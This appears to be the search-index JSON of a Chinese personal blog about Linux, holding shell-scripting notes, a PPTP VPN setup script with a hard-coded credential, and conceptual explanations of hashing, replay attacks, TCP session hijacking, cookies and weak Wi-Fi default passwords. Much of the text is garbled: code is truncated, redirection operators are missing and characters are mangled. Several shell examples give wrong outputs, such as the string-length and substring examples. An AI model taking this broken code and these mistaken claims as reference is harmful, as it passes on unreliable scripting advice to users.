建议都放到 /usr/local/sbin/ 目录下. 方便维护和管理 脚本必须写注释!!  方便自己 方便他人.默认 vim 编辑出来的文件是不带 执行权限的.sh -x filename  查看脚本执行过程. 有利于调试.#### date:  打印当前系统时间	#!/bin/sh		date	# 默认格式 完整显示	# 输出:201511 9 星期一 125117 CST		date "+%Y-%m-%d %w %H:%M:%S"	# 自定义格式: +加号必须有 , y:15 Y:2015 ; w:星期 HMS 必须大小写 .    输入名字, 输出 hello + 名字	echo "what is your name"	read persion	echo "hello,$persion"---- #### if / else##### 不带 else: if + 判断语句; then + command + fi	read -p "please input your score:" a	if ((a60)) && ((a # !/bin/bash              1.  宣告这个档案内的语法使用 bash 的语法!> PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/bin export PATH   echo -e "Hello World! \a \n"     程序主体  exit 0                           表离开 script 并且回传一个 0 给系统,  	1.  除了第一行的『 #! 』是用来宣告 shell 版本外,其他的 # 都是『批注』用 途! 第二行以下就是用来说明整个程序的基本数据。一般来说, 建议你 一定要养成说明该 script :1. 内容及功能; 2. 版本信息; 3. 作者+联系方式;  5. 历史记录 。脚本练习:  输入 姓名  屏显出来# !/bin/bashPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/bin export PATH read -p "Please input your first name: " firstname # 提示使用者输入read -p "Please input your last name: " lastname # 提示使用者输入 echo -e "\nYour full name is: $firstname $lastname" # 结果由屏幕输出   #### source     读取内容并执行.常用命令:ps 查看进程列表shell 执行命令方式:交互式 interactive : 用户输入一条 执行一条批处理: 把很多命令 写进一个脚本.然后让 shell 一次性执行完.bash Linux 默认的 shellsehll 只需要写一次. 通用性很强.vi xx.sh 例子:  输入名字 输出欢迎文字.echo “what is your name ?” read nameecho “welcome,$name”变量:=  定义变量(等号和变量中间不能有空格); $  使用变量变量: 首字母必须 a-Z    不能有空格. 不用标点符号只读变量: readonly 值不能被改变删除变量:unsetunset xujian\_xx    (不能删除只读变量.)变量类型:局部变量: 当前 shell 有效环境变量:所有程序都能访问环境变量  有些程序要环境变量来保证其 正常运行.特殊变量:$0  当前脚本文件名echo “file name: $0  退出状态: $? 大部分命令 执行成功返回0 失败返回1替换:脚本 表达式 里面的特殊字符 shell会进行替换  双引号里面的变量是一种转义字符 也是一种.例: 回车键a=10echo -e  “a is $a \n” 输出 a is 10echo “a is $a \n”输出 a is 10 \n\\ 反斜杠\a 警报\b 删除键\f 翻页\n 换行\r 回车\t 制表符(Tab 键)  -n 禁止插入换行符.变量替换${var}变量本来的值${var:-word}如果变量 var 为空或已被删除(unset),那么返回 word,但不改变 var 的值。${var:=word}如果变量 var 为空或已被删除(unset),那么返回 word,并将 var 的值设置为 word。${var:?message}如果变量 var 为空或已被删除(unset),那么将消息 message 送到标准错误输出,可以用来检测变量 var 是否可以被正常赋值。若此替换出现在Shell脚本中,那么脚本将停止运行。${var:+word}如果变量 var 被定义,那么返回 word,但不改变 var 的值。原生 bash 不支持 简单数学运算 用过 expr 来算== 等于   比较数字 相同返回 true 不相同返回 false  例: $a == $b  != 不等于 比较数字 不相同返回 true 相同返回 false关系运算:-eq 检测两个数是否相等,相等返回 true-ne 检测两个数是否相等,不相等返回 true-gt 检测左边的数是否大于右边的,如果是,则返回 true。-lt 检测左边的数是否小于右边的,如果是,则返回 true。-ge 检测左边的数是否大等于右边的,如果是,则返回 true。-le 检测左边的数是否小于等于右边的,如果是,则返回 true。! 非运算 -o 或运算,   -a 与运算[ $a -lt 20 -o $b -gt 100 ]() 只要一个对的 就返回 true。[ $a -lt 20 -a $b -gt 100 ]() 两个同时对的 返回 true=  检测两个字符串是否相等,相等返回 true!= 检测两个字符串是否相等,不相等返回 true。-z 检测字符串长度是否为0,为0返回 true -n 检测字符串长度是否为0,不为0返回 true。str 检测字符串是否为空,不为空返回 true。获取字符串长度string=“abcd”echo ${string} #输出4提取字符串string=“xujian@126.com”echo “${string:1:5}  # 输出xujia定义数组array\_name=(xujian xx 0219)  或者 array\_name[0]()=xujianarray\_name[1]()=xxarray\_name[2]()=0219读取数组echo 1: ${array\_name[0][7]}”星号 读取数组中所有元素echo 1: ${array\_name[\*][8]}”echo  shell 内部指令. 屏幕上输出指定字符串.换行输出 echo “ok\n”echo “it is a test”输出:okit is a test不换行输出echo “ok\c”echo “it is a test”输出:okit is a test.显示当前日期  echo `date` printf echo 增强版 if else 语句:通过判断真假 来决定执行哪个分支if    …then  fiif  else  fiif  elif …else …fi if [ $a == $b ]()thenficase   esac  多分支选择结构.匹配一个值 如果匹配成功 就执行相匹配的目录比如 总有4种模式 1234  让你选择一种. 然后执行相应的模式.for 循环顺序输出 当前列表的数字for loop in 1 2 3 4  5doecho “output: $loop”done结果:output:1output:2output:3output:4output:5显示主目录下 以.bash 开头的文件:for FILE in $HOME/.bashdoecho $FILEdone结果:/root/.bash\_history/root/.bash\_logout/root/.bash\_profile/root/.bashrc函数: 将复杂功能 分成几个模块. 清晰程序结构.   先定义后使用.命令的输出不仅可以是显示器 还可以很容易的转向文件. 这个就是 输出重定向.  命令 \> file 追加: 命令 \>\> file输入重定向命令 可以从文件获取输入.本来需要键盘输入的 可以通过文件读取命令.每个命令运行时候  都会打开三个文件.标准输入文件:stdin  读取数据标准输出文件:stdout 输出数据标准错误文件:stderr 储存错误信息默认情况下,command \> file  stdout 重定向到 file,command \ file如果希望 stderr 追加到 file 文件末尾,可以这样写:1   $command 2 \>\> file2 表示标准错误文件(stderr)。如果希望将 stdout  stderr 合并后重定向到 file,可以这样写:复制纯文本新窗口1   $command \> file 2\>&1或复制纯文本新窗口1   $command \>\> file 2\>&1如果希望对 stdin  stdout 都重定向,可以这样写:复制纯文本新窗口1   $command \file2command 命令将 stdin 重定向到 file1,将 stdout 重定向到 file2。 如果希望 stderr 重定向到 file,可以这样写:$command 2 \> file如果希望 stderr 追加到 file 文件末尾,可以这样写:$command 2 \>\> file2 表示标准错误文件(stderr)。如果希望将 stdout  stderr 合并后重定向到 file,可以这样写:复制纯文本新窗口$command \> file 2\>&1或复制纯文本新窗口$command \>\> file 2\>&1如果希望对 stdin  stdout 都重定向,可以这样写:复制纯文本新窗口$command \file2command 命令将 stdin 重定向到 file1,将 stdout 重定向到 file2 n \>& m 将输出文件 m  n 合并。n \ /dev/null/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到”禁止输出“的效果。如果希望屏蔽 stdout  stderr,可以这样写:复制纯文本新窗口1   $ command \> /dev/null 2\>&1外部脚本:像其他语言一样,Shell 也可以包含外部脚本,将外部脚本的内容合并到当前脚本。Shell 中包含脚本可以使用:1   . filename或1   source filename两种方式的效果相同,简单起见,一般使用点号(.),但是注意点号(.)和文件名中间有一空格。例如,创建两个脚本,一个是被调用脚本 subscript.sh,内容如下:1   url="http://see.xidian.edu.cn/cpp/view/2738.html"一个是主文件 main.sh,内容如下:1   #!/bin/bash2   . ./subscript.sh3   echo $url执行脚本:$chomd +x main.sh./main.shhttp://see.xidian.edu.cn/cpp/view/2738.html$注意:被包含脚本不需要有执行权限。例子: 	#!/bin/sh       指定脚本解释器.	cd ~           切换到用户 Home 目录	mkdir xx  新建文件夹.	cd xx切换到新建文件夹,	for ((i=0; i> /etc/pptpd.conf			echo xujian pptpd 0219 \* >> /etc/ppp/chap-secrets		sed -i -e 's/^#.ms-dns 192.168.1.1/ms-dns 8.8.8.8/g' -i -e 's/^#.ms-dns 192.168.1.2/ms-dns 8.8.4.4/g' /etc/ppp/options		sed -i 's/^#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g' /etc/sysctl.conf		sysctl -p 	/etc/init.d/pptpd restart 	apt-get install iptables			iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADE		iptables-save > /etc/iptables.pptp		cd /etc/network/if-up.d/ 	touch iptables		echo -e "#\!/bin/sh" -e "\niptables-restore \> iptables ;  		chmod +x /etc/network/if-up.d/iptablesspawnset timeout 30  设置超时时间.  单位秒."
} ,
  
{
  "title"    : "Shell 脚本",
  "category" : "",
  "tags"     : "CMD实例",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Shell-%E8%84%9A%E6%9C%AC.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "	!/bin/sh	//指定脚本解释器,这里是用/bin/sh做解释器	cd 	//切换到当前用户的home目录	mkdir shelltut 	//创建文件夹	cd shell_tut	//切换到新建文件夹		for ((i=0; i<10; i++)); do	touch test_$i.txt	// 创建 test_1、test_2 ... test_10 文件	done 	// 结束循环"
} ,
  
{
  "title"    : "Shell",
  "category" : "",
  "tags"     : "Shell",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Shell-2.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Shell **系统核心是需要保护! 所以只能通过 shell 和核心来沟通 核心控制硬件**shell 也叫 壳程序 核心的壳子(负责与用户沟通)*Shell好处:shell 只有几种   图形界面软件有很多种 学习成本高. 特别是软件的更新换代.> 所有 Shell一般都在 /bin/sh 下面.(unix 的软件 其实就是文件)*Shell 种类:- bourne again shell    bash (sh的增强版本)*已安装 shell: - cat `/etc/shells`     	- 或者 `cd` 到 `/bin`  能看到各种Shell `sh tcsh zsh bash csh••••••` 等等.		各家的shell 功能都差不多 但是语法方面略有不同.为什么系统的shell需要写入 /etc/shells 呢 因为 某些系统服务 运行中 会查询系统能够使用的shells  查的就是这个文件.bash 最好的是 记忆命令记录  只要按上下键 就能找到之前输入的命令了  可以记录1000+ 命令记录在 /.bashhistory 里面.简化 终端目录路径env environment 环境的简写#  内容 批注符号:这个最常被使用在 script 当中,规为说明!在后癿数据均不执行 `|`  管线 (pipe):分隑两个管线命令癿界定(后两节介绍); `~`  用户家目录`$`  取变量的 前导符`!`  逻辑 上 非的意思    目录符号:路径分隑癿符号 数据流重导向:输出导向,分删是『叏代』不『累加』 数据流重导向:输入导向 (这两个留待下节介绍) 单引号,丌具有发量置换癿功能  具有发量置换癿功能! sort 排序指令 命令提示字符:  `#`   * root *    提示字符    `$` *一般用户身份*  提示字符ttys000  tty 字符终端session 差不多就是号码牌的意思下 000 表示 第一个终端   001 表示 第二个终端   "
} ,
  
{
  "title"    : "SSH Autorun",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/SSH-Autorun.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "> Debian开机启动 ssh.`vi /etc/rc.local`文件末尾加入:   service sshd start"
} ,
  
{
  "title"    : "Passwd",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Passwd.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Passwd## 最早加密办法:1. 找一个 固定长度 和 固定粗细的木棍2. 用布条上下绕圈包裹,类似发廊门口旋转的广告灯.3. 木棍外的布条上写字.4. 去掉木棍 , 平铺布条时,你就不知道写的内容了.电脑的出现就是为了破解密码.## RSA 算法对明文文件或者数据,按照某种算法进行处理,使其成为一段不可读的代码.互联网把全世界连在一起, 为了能安全的运用互联网,只能选择数据加密和基于加密技术的 数字签名.## 公开密钥 (非对称密钥): 	     使用两个不同的密钥: 加密密钥 和 解密密钥		    加密密钥:             公开  也叫 公开密钥 简称 公钥		    解密密钥:             保密  也叫私有密钥 简称  私钥		                  某用户 用公开的加密密钥 加密的信息,只有用该用户的解密密钥 才能解密. ## 数字签名: (公钥数字签名 / 电子签章 )  是一种类似写在纸上的物理签名.  使用了  公钥加密领域的技术.每个人都有一对钥匙,一个只有本人知道(密钥),一个公开(公钥)签名的时候用 密钥 ,验证签名的时候用 公钥.公钥必须向  身分认证机构 注册,以防别人假冒你.注册后 身份机构 给你发一数字证书. 对文件签名后 你把数字证书和加签名的文件 发给接受者.接受者 向身份机构 求证 是否真的是用你的密钥加密的文件.一套数字签名     通常定义 两种互补的运算 : (私钥)用于签名    (公钥)用于验证.	                           公钥和私钥是互补的,  也就是说 一个公钥只能配一个私钥.签名: 文档 用签名者的私钥进行加密.   变成数字签名的数据.验证: 数据签名的文档  用签名者的公钥进行解密 ,能解出来 就说明这个签字是那个签名者的.数字签名 就是只有信息的发送者才能产生的  别人无法伪造的一段 数字串,这段数字串 同时 也是对信息的发送者 信息真实性的 一个有效证明. 如果企业的数字文件被盗 坏人就能捆绑木马到官方的exe 程序, 后患无穷.邮件的 数字签名是有 法律效力的!  数字签名  不是邮件最下面落款 名字.是非对称密钥加密技术 与 数字摘要技术的应用数字签名的文件的完整性 是很容易验证的  而且数字签名 具有不可抵赖性.DSS: 数字签名标准 digital signature standard  美国政府   用来 定义 数字签名算法的 一种标准XML数字签名:  对XML格式的数据 进行数字签名. 以保证 报文的完整性,不可否认性,以及提供身分认证信息.NAS 美国国家安全局DSA 数字签名算法  : 用数字通信形式 达到签名的功能,目的是证明 通信双方的身份,来保证通信的安全.数据项: 是数据的基本单位, 一个数据元素 可以有多个数据项组成,数据项是数据 不可分割的最小单位.Hash 函数Hash 一般翻译做散列,也有直音译"哈希"就是把任意长度的输入,通过 散列 算法  变成固定长度的输出,该输出就是散列值.    不同的输入可能会散列成相同的输出,但是 不可能从散列值来唯一的确定输入值.好的hash算法  可以使得 两个不一样的文件 但是有相同的哈希值的 输入 不能通过算法实现.Hash 算法: md5 和sha1 是目前最广泛的算法 都是以md4 为基础设计的.将任意长度的二进制值 映射位 较短的 固定长度的二进制值. 短的值 就是 哈希值.哈希值 是 一段数据唯一 且极其紧凑的数值表现形式.    要找到散列为同一值的两个不同的输入,原理上是不可能的,所以hash值 可以检测数据的完整性.简单说 就是一种单向密码体制,从明文到密文的不可逆映射,只有加密过程,没有解密. 任意长度 经过变化 得到固定长度的输出.也可以说 hash  就是 找到一种 数据内容和数据存放地址之间的 映射关系.算法用途 文件完整性校验数字签名  由于 用非对称算法 运算速度慢,所以也可以用hash值 (也叫 数字摘要) 进行数字签名.文件可以被别人窃听 但是不能被更改.## Md4 :  message dagest 4     适用 32位字长的处理器  用高速软件实现.  基于32位操作系统来实现的.## Md5 : 对md4的改进 ,对输入以512位分组, 其输出是4个32位字的级联. 比md4复杂,速度要慢,在抗分析 和抗差分表现好.Sha1 :散列值:  hash function.  将一个很大的 文件  映射成很小的 函数?## 重放攻击:  repaly attacks攻击者 发送一个 目的主机以及接受过的包,来达到欺骗系统的目的.主要用于 身份认证过程,破坏认证的正确性.为了抵御这种攻击,现在的身分认证 一般采用  挑战应答(challenge /response)方式用户 申请登录发起 挑战值    并用md5 计算出相应的应答值   发送给服务器. 服务器也用md5计算出应答值      应答值一样的话就建立链接.## Cookie监听http 截获的敏感数据 大多存放在cookie 中, 有时候可以 轻松的复杂别人的cookie 直接获得 相应的权限.加密 可以防止别人破解 但是防止不了 repaly attacks   黑客只要 重复 发送你的加密文件.就能破坏身份认证等.这种攻击 可以改变消息去向,  发送给指定的接收人,防御方案:时间戳:时戳;代表当前时刻的数字.基本思想;    服务器  接受一个消息  :当且仅当 这个消息 包含一个对服务器而言 足够接近当前时刻的时戳.原理- replay attacks  需要时间, 这个时间会有点久.要求; 通信各方的 计算机 时钟 要保持同步.处理方式:设置大小适当的时间间隔(时间窗) 越大越能包容网络传输的延时, 越小越防重放攻击.2,序号通信双方 通过消息中的序列号 来保持消息的 新鲜性.要求;双方 事先协商一个初始的序列号之后的通信  协商递增方法.3,提问与应答客户给服务器 发送一个随机数x,  要求服务器应答消息中 包含f(x)  f()是双方事先约好的一个简单函数.客户通过 服务器回的 f(x)值  判定 消息是不是重放攻击.会话劫持?劫持 分两种:被动劫持:在后台监听双方会话的数据流,从中获得敏感数据主动劫持:将会话当中的某台主机 踢 下线,由 攻击者取代 并 接管会话.Tcp 会话劫持: 如果要劫持一些 不可靠的协议,那么将轻而易举.因为它们没有提供认证措施.而 tcp 被誉为可靠协议. 这个是重点讨论的.根据TCP/IP 的规定:使用tcp协议通讯 需要提供 两段序列号.协议 使用者两段序列号 来保证 通信安全. TCP/IP 根据 时间或者线性的产生这些 序列号.通讯过程中 双方的序列号是相互依赖的,这也是为什么 tcp协议是可靠的传输协议,  所以 劫持的关键是这些序列号, 攻击者可以采取 嗅探技术获得序列号.	tcp   每一个数据包中  都有两段序列号.分别是 SEQ 当前数据包 第一个字节的序号.ACK 期望收到对方数据包中的第一个字节的序号.假如  双方要进行一次连接.服务器:  serverS\_SEQ:将要发送的下一个字节的序号S\_ACK:将要接收的下一个字节的序号S\_WIND:接收窗口客户端:clientC\_SEQ:将要发送的下一个字节的序号C\_ACK:将要接收的下一个字节的序号C\_WIND:接收窗口它们之间的关系 必须符合 下面的逻辑关系,否则 数据包会被丢弃  并返回一个ack包(包含 期望的 序列号)C\_ACK \ 标签之前。语法:setcookie(name, value, expire, path, domain);在下面的例子中,我们将创建名为 "user" 的 cookie,并为它赋值 "Alex Porter"。我们也规定了此 cookie 在一小时后过期:1   \4    5   6   .....注释:在发送 cookie 时,cookie 的值会自动进行 URL 编码,在取回时进行自动解码。(为防止 URL 编码,请使用 setrawcookie() 取而代之。)取回 Cookie 值PHP 的 $\_COOKIE 变量用于取回 cookie 的值。[9] 在下面的实例中,我们取回了名为 "user" 的 cookie 的值,并把它显示在了页面上:1   \在下面的实例中,我们使用 isset() 函数来确认是否已设置了 cookie:1   2   3    4   \";7   else8   echo"Welcomeguest!";9   ?\>10   11  12  删除 Cookie当删除 cookie 时,您应当使过期日期变更为过去的时间点。[9] 删除的实例:1   \12JavaScript Cookies编辑创建和存储 cookie[10] 在这个例子中我们要创建一个存储访问者名字的 cookie。当访问者首次访问网站时,他们会被要求填写姓名。名字会存储于 cookie 中。当访问者再次访问网站时,他们就会收到欢迎词。首先,我们会创建一个可在 cookie 变量中存储访问者姓名的函数:1   functionsetCookie(c\_name,value,expiredays)2    3   {4    5   varexdate=newDate()6    7   exdate.setDate(exdate.getDate()+expiredays)8    9   document.cookie=c\_name+"="+escape(value)+10   11  ((expiredays==null)?"":";expires="+exdate.toGMTString())12   13  }上面这个函数中的参数存有 cookie 的名称、值以及过期天数。在上面的函数中,我们首先将天数转换为有效的日期,然后,我们将 cookie 名称、值及其过期日期存入 document.cookie 对象。之后,我们要创建另一个函数来检查是否已设置 cookie:1   functiongetCookie(c\_name)2    3   {4    5   if(document.cookie.length\>0)6    7   {8    9   c\_start=document.cookie.indexOf(c\_name+"=")10   11  if(c\_start!=-1)12   13  {14   15   16  c\_start=c\_start+c\_name.length+117   18  c\_end=document.cookie.indexOf(";",c\_start)19   20  if(c\_end==-1)21  c\_end=document.cookie.length22   23   24  returnunescape(document.cookie.substring(c\_start,c\_end))25   26  }27   28  }29   30  return""31   32  }上面的函数首先会检查 document.cookie 对象中是否存有 cookie。假如 document.cookie 对象存有某些 cookie,那么会继续检查我们指定的 cookie 是否已储存。如果找到了我们要的 cookie,就返回值,否则返回空字符串。最后,我们要创建一个函数,这个函数的作用是:如果 cookie 已设置,则显示欢迎词,否则显示提示框来要求用户输入名字。1   functioncheckCookie()2    3   {4    5   username=getCookie('username')6    7   if(username!=null&&username!="")8    9   {alert('Welcomeagain'+username+'!')}10   11  else12   13  {14   15  username=prompt('Pleaseenteryourname:',"")16   17  if(username!=null&&username!="")18   19  {20   21  setCookie('username',username,365)22   23  }24   25  }26   27  }这是所有的代码:1   2    3   4    5   85   86  87   88   89  \90   91  92   93  13在jsp中编辑jsp中使用cookie完成状态管理:cookie也算http消息报头的一部分,它的作用有以下方面:一 记录访客的某些信息。例如可以利用cookie记录用户光临的网页次数,或者访客曾经输入过的信息。某些网站可以自动记录用户上次登录的用户名,用的就是cookie。二 页面之间传递变量。浏览器并不会保存当前页面上任何变量的信息,当页面被关闭时,页面上的所有变量信息将随之消失。使用举例在jsp中创建简单的cookie:String cookiename="visitTimes";Cookie cookie=new Cookie(cookiename,"1");1. setMaxAge(10\*60);//设置cookie存活期2. addCookie(cookie);//将cookie写入客户端在jsp中处理cookie数据的常用方法:getDomain();返回cookie的域名.getMaxAge();返回cookie的存活时间getName();返回cookie的名字getPath();返回cookie适用的路径getSecure();如果浏览器通过安全协议发送Cookie将返回true值,如果浏览器使用标准协议刚返回false值getValue();返回cookie的值getVersion();返回cookie所遵从的协议版本setComment(String purpose);设置cookie的注释setPath(String url);设置Cookie的适用路径setSecure(Boolean flag);设置浏览器是否仅仅使用安全协议来发送cookie,例如使用Https或sslsetValue(String newvalue);cookie创建后设置一个新的值setVersion(int v);设置cookie所遵从的协议版本.自1993年Cookie诞生以来,其就拥有专属性原则,即A网站存放在Cookie中的用户信息,B网站是没有权限直接获取的。但是,一些第三方广告联盟的代码使用范围很广。这就造成用户在A网站搜索了一个关键字,用户继续访问B网站,由于B网站也使用了同一家的第三方广告代码,这个代码可以从Cookie中获取用户在A网站的搜索行为,进而展示更精准的推广广告。比如搜索“糖尿病”等关键词,再访问其联盟网站,页面会立刻出现糖尿病治疗广告。如果并未事先告之,经用户同意,此做法有对隐私构成侵犯的嫌疑。这个还处在灰色地带。# 有一定联系性规律性密码例子:有人曾破如此一个WPA-PSK 密码IX1V7051242.如果你不了解这个密码的背景你肯能会觉得很神奇,这么强的密码也能破。这样的密码是在西班牙的tele2 这样的AP 上有,而且这样AP\_ESSID 里都有tele2 字段。这样的密码后面的8 位是相同的有真正的密码只有四位。四位密码其密码空间很小很容易被字典攻击出来。这个也是AP的默认密码。所以这个密码被破解是因为AP本身产生的随机密码就是个弱密码。是AP的厂家自己降低了安全性的做法。例如有一些餐厅.酒店.事业单位.等等.SSID总会改成名字的拼音.密码当然是跟ssid相关的.最常见的就是这个单位的电话号码!## 密码分析 - 2CSS 样式表 很多html标签能改变文本外观. 这些标签可以分为两类: 基于内容的样式 content-based style 物理样式 physical style CSS 级联样式表 网页上有三种 使用方法 1外部样式表: 里面添加 一个样式 被很多网页 使用,外部样式表是理想的选择. 这样可以通过更改一个css文件 来 改变整个网站的外观 2内部样式表: 里面添加 当 单个文件需要特别的样式时,可以用内部样式表. 可以在 head 里面 通过 3内联样式表: 里面 具体标签后面添加参数 个别元素需要用导特殊的样式时, 可以直接在html标签后面跟css参数来修改文本格式This is a paragraph怎么在文本里面应用样式呢 代码里面 输入 里面的内容都是p的css定义的格式输入里面的内容都是h2的css定义的格式css 选择器 1 标记选择器 先定义样式标记 再段落前面加标记 2类别选择器 新建css的时候 .xujian.css 名称前面要有个.的 必须 再html → class 下面选择新建的类 3id 选择器 新建id.css #xujian.css html下面 选择id id只能用一次! css 美化: 所有边框的设置 最好用css 而不是一个个单独去修改 css以后修改很方便 不然的话很麻烦 登陆框 个性化 输入那里只留一条线 而不是一个框 也是css 里面 边框控制 实线 上下左右只留下的一根就好了 css 嵌套 一句话之内 如果有两个字特别的字体 1 可以代码里面直接加代码 比如 这里面的字就变斜体了 2 需要嵌套 嵌套id或者类都可以 head 下面 定义 #abc em 颜色红色 body下面吾问无为谓哇哇哇哇哇哇哇哇结果 上面的一行 哇变红色 下面的一行不变色 如果上面 head下面只定义 em 没有定义#abc em 那么 下面两行的哇 都会变红色. css 继承 两个层 大的和小的 大层的css属性会自动给小的. css 应用 内嵌式: head里面定义 推荐2 行内式: html 单行定义 推荐3 链接式: 链接定义(适应多个网站) 推荐1 单独保存.css 以后还能调用 优先级 行内\>内嵌\>链接 总体用链接布局 一般用内嵌 个别用行内 网页背景 推荐用css"
} ,
  
{
  "title"    : "PRI / NI (Nice)",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/PRI-NI-(Nice).html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## PRI / NI (Nice)调整优先值  Nice  / NI *nice 值有正负*  `pri(new) = pri(old) + nice` **pri 越小越快执行**- Root     调整范围 (-20,19)	- 一般用户 调整范围 (  0,19) 		比如: nice =7  pri(old)=10  新的 pri 就是 17 > pri 是 系统动态调整的.  nice 虽然能影响 优先级 最后的优先级还是 系统决定的内存使用情况 freefree -b/k/m/g  内存显示单位  默认是 kblinux 内存问题不管不插多少内存 他都会把你用掉   尽可能利用才是高效的.不像 win 的垃圾 .注意 swap 内存.  最好不要被使用.   最好不要超过20%以上 超了就加物理内存吧swap 实在比内存速度差很多很多  系统是因为物理内存不足才用 swap 的.uname 查看系统信息uptime 系统启动时间 和工作负载.netstat  追踪网络  网络监控.输出分两部分  网络 与 系列.选顷不参数:-a :将目前系统上所有的联机、监听、 Socket 数据都列出来-t :列出 tcp 网绚封包的数据-u :列出 udp 网绚封包的数据-l :列出目前正在网络监听 (listen) 的服务;-p :列出该网绚服务的程序 PID ## 系统服务. servicedaemon = service电脑启动 自动启动很多服务  打印机服务 邮件服务等等端口号  比喻房子的楼层  ip 门牌号/etc/services   服务与端口号 绑定/etc/init.d/\* :服务脚本放置处系统上几乎所有的服务脚本都放置在这里!事实上这是公认的目录,我们的 CentOS 实际上放置在/etc/rc.d/init.d/ 啦!x /etc/sysconfig/\* :各服务的初始化环境配置文件几乎所有的服务都会将初始化的一些选项讴定写入到这个目录下,丼例来说,登录档的 syslog 这支 daemon 的初始化讴定就写入在 /etc/sysconfig/syslog 这里呢!网络的设定则写在 /etc/sysconfig/network 这个档案中。x /etc/xinetd.conf, /etc/xinetd.d/\* :super daemon 配置文件x /etc/\* :各服务各自的配置文件第六章就讱过了,大家的配置文件都是放置在 /etc/ 底下的喔!x /var/lib/\* :各服务产生的数据库一些会产生数据的服务都会将他的数据写入到 /var/lib/ 目录中。丼例来说,数据库管理系统 MySQL 的数据库默就是写入 /var/lib/mysql/ 这个目录下啦!设置开机启动服务:电脑开机 读取 bios   通过 bios 获取第一个可启动的硬盘   读取 mbr  获取开机管理程序加载核心  核心主动呼叫 init 程序.   init 程序开始执行初始化 /etc/rc.d/rc.sysinit根据 init 设定 进行服务启动 加载本机设定.chkconfig 开机服务设定.默认开机服务:acpid 电源管理模块 iptable 防火墙. 不能取消 只能设置.network 网络设定.httpd 让电脑变 www 服务器ntp network time protocol 网络校时smb  让 linux 变成 win 的晚上邻居.登陆文件 就是记录系统信息的几个档案, 例如:何时、何地 (来源 IP)、何人 (什么服务器务名称)、做了什举劢作。 换句话说就是:记录系统在什举时候由哪个程序做了什举样的行为时,发生了何种的事件等等。系统问题 可以通过分析这个文件 来找出问题.如果你无法启动邮件服务  那么查询一下 /var/log/maillog 通常可以得到不错的解答! /var/log/lastlog:可以记录系统上面所有的账号最近一次登入系统时的相关信息。 第十四章讱到的 lastlog 挃令就是利用这个档案的记录信息来显示的/var/log/messages:这个档案相当的重要,几乎系统发生的错诨讯息 (戒者是重要的信息) 都会记录在这个档案中; 如果系统发生莫名的错诨时,这个档案是一定要查阅的登录档乀一。/var/log/messages:这个档案相当的重要,几乎系统发生的错诨讯息 (戒者是重要的信息) 都会记录在这个档案中; 如果系统发生莫名的错诨时,这个档案是一定要查阅的登录档乀一。/var/log/secure:基本上,叧要牵涉到『需要输入账号密码』的软件,那举当登入时 (丌管登入正确戒错诨) 都会被记录在此档案中。 包括系统的 login 程序、图形接口登入所使用的 gdm 程序、 su, sudo 等程序、还有网绚联机的 ssh,telnet 等程序, 登入信息都会被记载在这里;电脑被黑 人家会删除你的 登陆文件里面的信息. 就查不到它额 可以 设置登陆文件权限 只能增加 不能删除. 分析登陆文件.  有分析软件 可以自己结果发送到你邮箱的.ip 设置子网掩码 netmask网关  gateway防火墙: /etc/sysconfig/iptables   文件不存在是因为 没有启动防火墙!!! 打印机:  有 linux 驱动 才能正常打印软件安装开源: 提供源代码 你可以自己修改代码. 来符合自己需求.二进制文件   binary prigram  程序库  模块. 比如身份验证 pam 功能  只要加入代码 系统就会直接使用这个功能 .make configure 静态函数库 扩展名 .a动态函数库 扩展名 .soRPM RedHat Package Manager    Red Hat 这家公司开发出来的  cenos  Fedora,  为主RPM 则依开发商的丌同,有 Red Hat 系统的 yum , SuSE 系统的 Yast Online Update (YOU), Mandriva 的 urpmi 软件等。dpkg   由 Debian Linux 社群所开发出来的,  Ubuntu 等等。在 dpkg 管理机制上就开发出 APT 的在线升级机制,RedHat Package Manager 平台i386   i 是兼容 intel 的意思    386 是cpu 等级x86\_64\_ 对64位cpu 进行特定的优化.rpm -ivh     默认直接用这个就好了. -i:install-v: 安装信息-h: 安装进度.+网址 直接安装.## 用户密码passwd -d xujian                删除 xujian 用户的密码 为root用户设置密码打开终端输入:sudo passwdPassword: \<--- 输入你当前用户的密码Enter new UNIX password: \<--- 新的Root用户密码Retype new UNIX password: \<--- 重复新的Root用户密码passwd:已成功更新密码"
} ,
  
{
  "title"    : "Mount",
  "category" : "",
  "tags"     : "硬盘",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Mount.html",
  "date"     : "2014-11-11 00:00:00 +0800",
